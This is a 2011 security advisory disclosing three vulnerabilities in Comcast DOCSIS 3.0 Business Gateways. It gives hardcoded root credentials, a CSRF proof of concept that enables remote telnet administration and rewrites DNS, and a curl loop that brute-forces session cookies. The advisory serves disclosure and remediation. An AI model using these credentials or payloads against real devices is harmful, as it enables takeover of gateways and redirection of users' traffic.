Comcast DOCSIS 3.0 Business Gateways - Multiple Vulnerabilities





Trustwave's SpiderLabs Security Advisory TWSL2011-002:
Vulnerabilities in Comcast DOCSIS 3.0 Business Gateways

Published: 2011-02-04
Version: 1.0

Vendor: Comcast (
Product: Comcast DOCSIS 3.0 Business Gateway - D3G-CCR
Version affected:  Versions prior to

Product description:
The Comcast DOCSIS 3.0 Business Gateway provides end-user termination of
cable internet services for Comcast Business Class customers with enhanced
services including Network Address Translation (NAT), firewalling, and
Virtual Private Network (VPN) termination.

Credit: Zack Fasel and Matthew Jakubowski of Trustwave's SpiderLabs

Finding 1: Static Credentials
CVE: CVE-2011-0885

All D3G-CCR gateways provided by Comcast have an administrative
login of "mso" with the password of "D0nt4g3tme".  These passwords
are not provided as a part of the installation of the device and are
not recommended to be changed, thus the majority of users are unaware
of the default configuration.

With these default credentials, internal attackers can modify device
configurations to leverage more significant attacks, including redirection
of DNS requests, creation of a remote VPN termination point, and
modification of NAT entries.  These credentials provide access to the web
interface for management, as well as a telnet interface that provides shell
access to the device.  The mso login provides shell as UID 0 (root).

Finding 2: Cross Site Request Forgery (CSRF)
CVE: CVE-2011-0886
D3G-CCR gateways provided by Comcast permit CSRF attacks against
numerous management pages allowing an attacker to embed in a webpage a
malicious request against the gateway's management interface.  Through
this, an attacker can modify device configuration and enable remote
administration via a telnet shell and http.

The following Proof of Concept (PoC) connects to the gateway, logs in,
modifies the remote administration to allow any user to connect externally,
and modifies the DNS information.

## d3g-csrf-poc.htm

<iframe src="./d3g-csrf-poc-1.htm" width="1" height="1">
<iframe src="./d3g-csrf-poc-2.htm" width="1" height="1">
<iframe src="./d3g-csrf-poc-3.htm" width="1" height="1">
</iframe> </body> </html>

## d3g-csrf-poc-1.htm

<form action="" method="post"
<input type="hidden" name="user" value="mso" />
<input type="hidden" name="pws" value="D0nt4g3tme" />
</form> <script> document.tF.submit(); </script> </body>

## d3g-csrf-poc-2.htm

<form action=""
name="RMangement" method="post"> <input type="hidden"
value="feat-admin-remote" name="file"> <input type="hidden"
value="admin/" name="dir"> <input type="hidden"
name="RemoteRange" value="0" /> <input type="hidden"
name="rm_access" value="on" /> <input type="hidden"
name="Remote0" value=",,1" /> <input
type="hidden" name="http_port" value="8080" /> <input
type="hidden" name="http_enable" value="on" /> <input
type="hidden" name="http_flag" value="1" /> <input
type="hidden" name="msoremote_enableCheck" value="on" />
<input type="hidden" name="mso_remote_enable" value="1" />
<input type="hidden" name="remote_enable" value="0" />
<input type="hidden" name="https_enable" value="on" />
<input type="hidden" name="https_port" value="8181" />
<input type="hidden" name="https_flag" value="1" /> <input
type="hidden" name="telnet_enable" value="on" /> <input
type="hidden" name="telnet_port" value="2323" /> <input
type="hidden" name="telnet_flag" value="1" /> <input
type="hidden" name="Remote1=" value="" /> </form> </body>
</html> <script>

## d3g-csrf-poc-3.htm

<form name="WanIPform"
action="" method="post"> <input
type="hidden" value="feat-wan-ip" name="file"> <input
type="hidden" value="admin/" name="dir"> <input
type="hidden" value="Fixed" name="DNSAssign"> <input
type="hidden" value="0" name="dhcpc_release"> <input
type="hidden" value="0" name="dhcpc_renew"> <input
type="hidden" value="" name="domain_name"> <input
type="hidden" value="" name="WDn"> <input type="hidden"
name="SysName" value="" /> <input type="hidden"
name="manual_dns_enable" value="on" /> <input type="hidden"
name="DAddr" value="" /> <input type="hidden"
name="DAddr0" value="4" /> <input type="hidden"
name="DAddr1" value="2" /> <input type="hidden"
name="DAddr2" value="2" /> <input type="hidden"
name="DAddr3" value="1" /> <input type="hidden"
name="PDAddr" value="" /> <input type="hidden"
name="PDAddr0" value="4" /> <input type="hidden"
name="PDAddr1" value="2" /> <input type="hidden"
name="PDAddr2" value="2" /> <input type="hidden"
name="PDAddr3" value="2" /> </form> <script>

If the PoC was embedded in any web page the targeted user visited while
logged into the device, the attacker would be provided remote
administration in to the gateway device include a telnet shell.  This would
allow the attacker to redirect traffic to a malicious end-point.

Finding 3: Weak Session Management 
CVE: CVE-2011-0887
D3G-CCR gateways provided by Comcast utilize a predictable value to
validate the active web management portal session.  The epoch time of
beginning of the session is stored as a cookie labeled "userid".  This
provides a predictable range of session IDs that can be brute-forced.

The following PoC attempts to brute force the session IDs by requesting the
admin page with an incrementing cookie and determining whether it wants to
redirect to login.asp.


for (( i=$start; i<=$end; i++)) do if [ `curl -sb userid=$i | grep -c login.asp` -lt
"1" ] then echo "Session ID Found:  $i"
if [ $(($i % 100)) -eq "0" ]
then echo "Currently at $i"

Through this, an attacker can brute-force the possible valid session IDs.
Sessions do by default expire within 10 minutes, thus the attack window is
limited but can be leveraged with other attack methods.

Vendor Response:
These issues have been addressed as of version

Remediation Steps:
In order to determine if the correct version is installed, users should
view the "About" link in the management interface. Versions and
above have been corrected.

Vendor Communication Timeline:
08/30/10 - Vulnerability disclosed
01/21/11 - Patch Released
02/04/11 - Advisory Published

Revision History:
1.0 Initial publication

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